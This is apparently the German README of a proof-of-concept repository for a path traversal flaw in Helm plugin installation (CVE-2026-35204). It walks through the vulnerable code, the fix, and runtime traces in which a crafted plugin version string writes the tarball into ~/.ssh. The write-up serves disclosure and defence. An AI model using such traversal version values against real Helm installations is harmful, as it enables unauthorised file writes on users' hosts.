
Proof-of-concept, das eine Path-Traversal-Schwachstelle (CVE-2026-35204) bei der Installation von Helm-Plugins demonstriert und beliebiges Schreiben von Dateien über manipulierte Plugin-Metadaten ermöglicht.
Dieses Repository stellt einen PoC für CVE-2026-35204 dar.
"Helm ist ein Paketmanager für Charts für Kubernetes. Von 4.0.0 bis 4.1.3 veranlasst ein speziell gestaltetes Helm-Plugin bei Installation oder Aktualisierung Helm dazu, den Inhalt des Plugins an einen beliebigen Dateisystemort zu schreiben. Um dies zu verhindern, stellen Sie sicher, dass die plugin.yaml des Helm-Plugins kein version:-Feld enthält, das POSIX-Dot-Dot-Pfadtrenner enthält, d. h. "/../". Diese Schwachstelle ist in 4.1.4 behoben."
Dieser PoC demonstriert, dass metadata.Version verwendet wird, um den Pfad des Plugin-Archivs zu konstruieren, was Path Traversal ermöglicht und das Herunterladen der plugin.tgz außerhalb des vorgesehenen Plugin-Verzeichnisses erlaubt. Der Plugin-Inhalt wird jedoch weiterhin in das vorgesehene Cache-Verzeichnis extrahiert, bevor er installiert wird, sodass dieser PoC keine beliebige Extraktion oder ein beliebiges Überschreiben von Host-Dateien demonstriert.
Die Schwachstelle ist als CWE-22 klassifiziert – Unsachgemäße Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis ('Path Traversal').
Der Helm-Plugin-Installer verfügt über eine Schnittstelle mit vier Implementierungen (HTTP, lokal, VCS und OCI). Dieser PoC konzentriert sich auf den HTTP-Installer. Im Gegensatz zu den HTTP/OCI-Installern konstruiert der VCS-Installer überhaupt keinen Tarball-Pfad aus metadata.Version. Hier ist ein Codeblock, der den tarballPath vorbereitet:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
wobei metadata.Version die Variable ist, die wir in plugin.yaml kontrollieren. Um die Schwachstelle auszulösen, müssen Sie Ihr manipuliertes Plugin in ein .tgz-Archiv packen, da dessen metadata.Version diejenige ist, die von plugin.ExtractTgzPluginMetadata extrahiert und über den HTTP/OCI/lokalen Installer heruntergeladen wird. Um Path Traversal zu erreichen, können wir daher http_installer verwenden, der Plugins als von einem Webserver bereitgestelltes Archiv abruft.
Im folgenden Beispiel wurde die Helm-Binary manuell neu gebaut, um Logging-Nachrichten zu aktivieren, wobei Sie zwei verschiedene Datenflüsse beobachten können. First ist die Plugin-Installation mit korrektem Versionsnamen. Second ist eine Plugin-Installation, deren Versionsname Dot-Dot-Pfadtrenner enthält:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
Die Laufzeit-Traces zeigen, dass das Path Traversal nur den Ort betrifft, an dem das heruntergeladene Plugin-Archiv abgelegt wird, was im Grunde die Umgebungsvariable HELM_PLUGINS ist. Der Cache (i.CacheDir) und die endgültige Extraktion (i.Path()) bleiben unverändert. In diesem Sinne können wir das temporäre Archivziel und seinen Namen manipulieren, was zu einem Dateischreibvorgang führt.
Sie müssen nichts ausführen oder Post-Install-Webhooks verwenden; eine einfache Plugin-Installation reicht aus, um die Schwachstelle auszulösen.
Während meiner Analyse des HTTP-Installers habe ich beobachtet, dass die Archivextraktion in i.CacheDir erfolgt, während die Installation (fs.CopyDir) Dateien von i.CacheDir nach i.Path() kopiert. Ich habe keinen Codepfad gefunden, bei dem der durch Traversal beeinflusste tarballPath den Archivinhalt beeinflusst. Daher ist basierend auf dem analysierten Laufzeit-Tracing das Ziel der Archivextraktion unabhängig vom traversal-kontrollierten tarballPath.
Die Advisory erwähnt sowohl Installation als auch Update. Für die HTTP/lokalen/VCS-Installer ist Update() nicht implementiert; der OCI-Installer implementiert das Update durch Aufruf von Install() nach Entfernen des vorherigen Plugins.
Hier ist die Update()-Methode des HTTP-Installers:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
Zur Behebung der Schwachstelle wurde die Funktion isValidSemver hinzugefügt, die nun aufgerufen wird, wenn Validate() innerhalb von metadata.go aufgerufen wird.
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
Wie Sie sehen können, erhalten wir, wenn die Version kein gültiges Semver ist (und ../../../../ ist keines), einen Fehler während der Installation des bösartigen Helm-Plugins.
Um den PoC auszuführen, können Sie das Skript scripts/pos.sh verwenden:
./scripts/poc.sh
Was zu etwas wie dem Folgenden führt:

MIT